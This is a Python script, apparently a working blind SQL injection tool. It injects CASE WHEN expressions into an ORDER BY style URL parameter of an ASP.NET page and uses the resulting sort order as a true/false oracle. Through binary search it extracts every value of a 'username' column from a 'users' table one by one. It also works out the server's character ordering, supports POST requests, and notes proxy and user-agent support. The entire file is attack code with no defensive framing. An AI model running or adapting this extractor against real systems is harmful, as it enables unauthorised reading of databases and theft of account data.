# based on http://practicaldev.blogspot.com/2009/05/python-30-ssl-over-proxy.html import urllib.request from urllib.error import URLError, HTTPError from urllib.parse import urlencode, urlsplit, parse_qsl, urlunsplit from html.parser import HTMLParser, HTMLParseError import sys import math from functools import reduce baseAddr = 'http://127.0.0.1:62946/default.aspx?o=__INJECT__' cols = ['CustomerID', 'Country'] isTrue = None extractTable = 'users' extractColumn = 'username' searchString = '
' maxStringLength = 200 usePOST = True reqAddr = baseAddr.replace('__INJECT__', 'case when (select top 1 cast(' + extractColumn + ' as varbinary(255)) from ' + extractTable + ' where ' + extractColumn + ' not in (__SEEN__)) __OP__ cast(\'__DATA__\' as varbinary(255)) then ' + cols[0] + ' else ' + cols[1] + ' end') lenAddr = baseAddr.replace('__INJECT__', 'case when (select top 1 datalength(cast(' + extractColumn + ' as varbinary(255))) from ' + extractTable + ' where ' + extractColumn + ' not in (__SEEN__)) __OP__ __DATA__ then ' + cols[0] + ' else ' + cols[1] + ' end') cmpAddr = baseAddr.replace('__INJECT__', 'case when cast(\'__A__\' as binary(1)) __OP__ cast(\'__B__\' as binary(1)) then ' + cols[0] + ' else ' + cols[1] + ' end') doneAddr = baseAddr.replace('__INJECT__', 'case when (select count(*) from ' + extractTable + ' where ' + extractColumn + ' not in (__SEEN__)) = 0 then ' + cols[0] + ' else ' + cols[1] + ' end') trueAddr = baseAddr.replace('__INJECT__', 'case when 1=1 then ' + cols[0] + ' else ' + cols[1] + ' end') def urlParam(x): return str(x).replace("'", "''").replace('%', '%25').replace('&', '%26').replace('=', '%3d').replace('#', '%23').replace(';', '%3b').replace('+', '%2B').replace(' ', '%20').replace('"', '%22') queries = 0 totalQueries = 0 def getResult(url): global queries global totalQueries global isTrue def doRequest(addr): f = None if usePOST: parts = urlsplit(addr) postParams = parse_qsl(parts.query) addr = urlunsplit((parts[0], parts[1], parts[2], '', '')) f = urllib.request.FancyURLopener().open(addr, urlencode(postParams)) #print(addr, urlencode(postParams)) else: f = urllib.request.FancyURLopener().open(addr) #print(addr) s = str(f.read()) return s[s.index(searchString)+len(searchString)] if isTrue == None: # initialize isTrue = doRequest(trueAddr) print('Set TRUE value to {0}'.format(isTrue)) #print('returned: {0}'.format(s[pos])) queries += 1 totalQueries += 1 return doRequest(url) == isTrue def isLessThan(a, b): url = cmpAddr.replace('__A__', urlParam(a)).replace('__B__', urlParam(b)).replace('__OP__', '<'); return getResult(url) def isGreaterThan(a, b): url = cmpAddr.replace('__A__', urlParam(a)).replace('__B__', urlParam(b)).replace('__OP__', '>'); return getResult(url) def sqlCmp(a, b): if isLessThan(a,b): return -1 if isGreaterThan(a, b): return 1 return 0 calls = 0 def cmp2key(mycmp): class K: def __init__(self, obj, *args): self.obj = obj def __lt__(self, other): global calls calls += 1 return isLessThan(self.obj, other.obj) return K alphabet = '\0 0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%\'()*+,-./:;=>?@[\\]^_`{|}~' base = list(alphabet) base.sort(key=cmp2key(sqlCmp)) print("Got alphabet {0} (len = {1}) in {2} calls".format(base, len(base), calls)) basemap = dict(zip(base, range(0,len(base)))) baselen = len(base) def numToString(num): ret = '' while True: ret = base[num % baselen] + ret num = num // baselen if num == 0: break return ret.lstrip(base[0]) def stringToNum(s): a = list(s) a.reverse() ret = 0 for x in range(0, len(a)): ret += basemap[a[x]]*(baselen**x) return ret def bSearch(compareFuncs): global queries queries = 0 def bSearchReal(compareFunc, low, high, transform, count=1): if high < low: return (None, 0) mid = low + ((high - low) // 2) print('Mid = "{0}" ({1})'.format(transform(mid), mid)) #print('H = "{0}", L = "{1}"'.format(transform(high), transform(low))) result = compareFunc(transform(mid)) if result > 0: return bSearchReal(compareFunc, low, mid-1, transform, count+1) elif result < 0: return bSearchReal(compareFunc, mid+1, high, transform, count+1) else: return (transform(mid), 0) # get the length of the string first length = bSearchReal(compareFuncs[0], 0, maxStringLength, lambda x: x)[0] #print(length) result = bSearchReal(compareFuncs[1], stringToNum(base[0]*length), stringToNum(base[-1]*length), numToString) if result[0] == None: return '[failed!]' cmpMap = reduce(lambda x,y:x+y, map(lambda x: base.index(x)+1, result[0]))+1 print('Queries required: {0} for {1} (vs. {2})'.format(queries, result[0], cmpMap)) return result # Q: can it go through a proxy? A: Yes. # Q: can you modify the user-agent? A: Yes. def seenList(seen): s = "''" for x in seen: s += ",'" + urlParam(x) + "'" return s def makeComparisonFuncs(seen): def comparer(addr): def pageComparer(candidate): url = addr.replace('__DATA__', urlParam(candidate)).replace('__SEEN__', seenList(seen)) #print(url) if getResult(url.replace('__OP__', '<')): return 1 if getResult(url.replace('__OP__', '>')): return -1 return 0 return pageComparer return (comparer(lenAddr), comparer(reqAddr)) if __name__ == '__main__': seen = [] while not getResult(doneAddr.replace('__SEEN__', seenList(seen))): result = bSearch(makeComparisonFuncs(seen)) seen.append(result[0]) print(seen)